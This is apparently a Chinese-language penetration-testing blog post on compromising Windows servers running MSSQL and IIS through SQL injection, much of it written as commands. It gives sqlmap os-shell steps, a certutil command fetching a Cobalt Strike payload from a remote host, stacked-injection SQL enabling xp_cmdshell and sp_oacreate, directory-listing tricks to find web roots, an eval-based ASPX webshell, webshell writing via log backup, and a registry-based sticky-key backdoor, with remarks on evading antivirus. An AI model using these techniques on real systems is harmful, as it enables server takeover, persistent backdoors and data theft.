1 | windows2008+MSSQL2008+iis7 |
08和05的mssql还是有些区别的
05以下系统权限为system
08以上系统权限就不是system了,看到好几种,比较多的是network service
certutil这个用的比较多,别的也没有试过,这篇文章比较详细
https://payloads.online/archivers/2017-11-08/1
环境用的是08
首先通过sqlmap –os-shell得到执行命令的权限
打开python一句话服务器,在CS上面生成木马放到根目录
1 | certutil.exe -urlcache -split -f http://192.168.163.128:8080/artifact.exe |
如果提示拒绝访问,可以在找一个能创建文件夹的目录,创建完之后下载到文件夹里
这里会超时,然后sqlmap会重复执行命令,CS会上线好几次,如果不需要的话发现上线直接退出sqlmap即可
这里用户本来应该是network service,但是安装的时候设置了一下就变成administrator,如果为network service可以使用juicypotato提权
写webshell不难,但是找到绝对路径挺难的,总结了一下找绝对路径的方法
通过堆叠注入开启xp_cmdshell
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; |
这个需要管理员配置过web.config,如果没配置过是看不到的(配置过也不一定看的到..)
1 | <configuration> |
这样应该是可以看到路径的
通过type读取配置文件
适用于2005或者高权限启动的2008
1 | C:\Windows\system32\inetsrv\metabase.xml #iis6 |
这个没啥问题,最好是有联合查询注入的时候使用,不然是真的慢
这是08的配置文件
1 | dir/s/b c:\index.aspx |
结果hw的时候坑了一下,碰到的一个服务器没有E盘却有F盘,然后列到没E盘就没往下试了,完美的错过了网站根目录,而且在D盘里面还有个很像网站根目录的地方,就使劲往里写,但是一点反应都没有,还好后来有个师傅在F盘里面找到了根目录最后拿到了shell
其实当时sqlmap在列数据库路径的时候也显示数据库在F盘里,不过后来一直想着总不会真的在F盘里吧,外加是时间盲注真的很慢就没有去试,结果还真的踩坑了,看来以后还是需要细心
后来问了师傅是怎么找到根目录的,师傅说用了for循环,但是没有给出具体命令,然后我去网上查了一下,自己写了一条命令
1 | for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:\sql.aspx) |
这个命令看起来有点憨(其实真的蠢)
还有用这个命令最好在linux上面的sqlmap的,linux上面发现绝对路径可以直接Ctrl+c停止,会返回os-shell,如果windows就会直接退出sqlmap
os-shell最好使用q退出,让sqlmap按照完整的过程退出os-shell,如果直接退出可能会出点问题,比如第二次os-shell就上不去了
sqlmap 超时时间需要设置长一点,毕竟要跑全盘,–timeout=100
看看旁站有没有地方可以爆出绝对路径,写到旁站里面
之前碰到过一个mysql的网站,可以写文件但是注入的那个站目录不可写,通过sqlmap读出httpd.conf,在里面找到了旁站的路径,然后写了webshell
xp_dirtree有三个参数,
1 | xp_dirtree 'c:\', 1, 1 #列出当前目录下所有的文件和文件夹 |
通过堆叠注入建表,将输出插入表里,通过注入将表列出来
1 | http://192.168.163.133/sql.aspx?id=1;create table dir(subdirectory varchar(255),depth int, filee int);insert into dir(subdirectory,depth,filee) exec xp_dirtree 'c:\',1,1 |
因为xp_dirtree输出是三个字段的所以要创建一个三个字段的表 ,字段名可以随便取
通过sqlmap列出dir表就可以看到目录了
sqlmap有缓存,可以通过–fresh-queries重新列数据表,–flush-session这个直接清掉缓存重新跑
1 | xp_subdirs 'c:\' |
这个方法和上面的一样,缺点是不能列出文件
适用于2005或者高权限启动的2008
上面有两个配置文件路径一个是iis6一个是iis7
iis的报错页面一般都在
C:\inetpub\custerr\zh-CN
最后语言这个文件夹可能会变,之前看到湾湾的是zh-TW,如果是外语的话可能也会变成相应的
1 | exec sp_configure 'show advanced options', 1;RECONFIGURE |
如果是05的数据库要修改配置文件路径
C:\WINDOWS\Help\iisHelp\common\404b.htm #iis6 404页面位置
C:\Windows\system32\inetsrv\metabase.xml #iis6 配置文件
爆破我觉得实在有点不现实就不写了,毕竟路径只要不是默认的基本就很难猜到了
一般来说iis的默认根目录为C:\inetpub\wwwroot\
得到绝对路径之后就可以写入webshell了
1 | echo ^<%@ Page Language="Jscript"%^>^<%Response.Write(eval(Request.Item["z"],"unsafe"));%^> > C:\inetpub\wwwroot\shell.aspx |
<>需要转义
需要知道绝对路径
如果xp_cmdshell被删除无法恢复,或者被过滤,可以使用xp_dirtree或xp_subdirs列出目录,通过sp_oacreate写入webshell
通过堆叠注入开启sp_oacreate
1 | exec sp_configure 'show advanced options', 1;RECONFIGURE |
这个之前没了解,看了文章发现还挺有趣的,利用的方法也很多
先写最简单的执行命令吧
1 | declare @o int; |
列出cmd_output得到命令结果
如果这个命令执行成功,会返回0
其实就是执行了一个vbs
1 | Set objShell = CreateObject("wscript.shell") |
还有一种用Shell.Application的方法,这个直接执行命令没有复现成功,但是通过vbs脚本执行命令是成功的
可以使用scripting.filesystemobject写入文件后执行
1 | declare @f int,@g int |
然后和上面一样写入表里就可以了
这里的vbs
1 | Set write = CreateObject("Scripting.FileSystemObject") |
这里顺便写一下,xp_cmdshell会出现
在执行 xp_cmdshell 的过程中出错。调用 ‘CreateProcess’ 失败,错误代码: ‘5’。
网上查了之后几种说法
没有cmd想想也不太可能,没cmd系统估计都要出问题,但是还是尝试删除cmd,03上面删了会自己恢复,08删不掉
没有权限执行,这个也尝试了一下,但是没权限配置权限,后来也没继续看了
安装360后发现360会拦截
经过测试只要mssql带起可以执行命令的文件都会拦截,sp_oacreate也是用不了的,powershell也不行
暂时没找到什么方法,基本所有执行命令的方法都会被拦截,Agent Job也不行,因为也要启动powershell,而且这个还需要启动mssql代理,所以这种方法就不复现了
如果服务器上存在web服务,可以通过上面那种写vbs的方法将webshell写入网站根目录,
1 | declare @f int,@g int |
一句话需要免杀,网上找了个方法处理一下就过了
需要知道绝对路径
testdb是当前数据库
网上查到两种方法,一种是差异备份一种是log备份
差异备份2005和2008均没有复现成功
05会一直报少一个%>标记,08会多一个<%然后报错,如果有解决的大佬希望可以告知一下,提前感谢
log备份
1 | alter database testdb set RECOVERY FULL |
两个数据库都可以成功,备份文件小,不容易出现脏数据
适用于2005,服务器开放3389
sp_oacreate复制文件
1 | exec sp_configure 'show advanced options', 1;RECONFIGURE |
xp_regwrite修改注册表
1 | exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution |
之前看到过一篇文章是不需要堆叠注入执行命令,而且还要使用if,然后在测试的时候发现,只要在正确的语句后面接上语句都是可以执行的,不需要;,在web上面也是可以的
成功添加数据库
那这样是不是就不需要堆叠注入了
想知道一下原理但是问了几个地方都没有得到想要的答案,有位大佬说是mssql解释器的问题,但是具体也不清楚
如果有大佬知道的还希望大佬可以告诉我,感谢
这次复现主要也是收集了网上的一些姿势吧,也比较基础,像clr那些等以后有机会学到了再写文章
还有一点想吐槽一下网上很多文章基本都一个样,感觉有些都没复现过纯复制黏贴,特别有意思的就是那个劫持粘滞键,看了很多都是c:\windows\explorer.exe c:\windows\system32\sethc.exe
这两个文件替换
可能是因为原作者不想让别人随便利用所以就写了个意思,没想到被直接复制了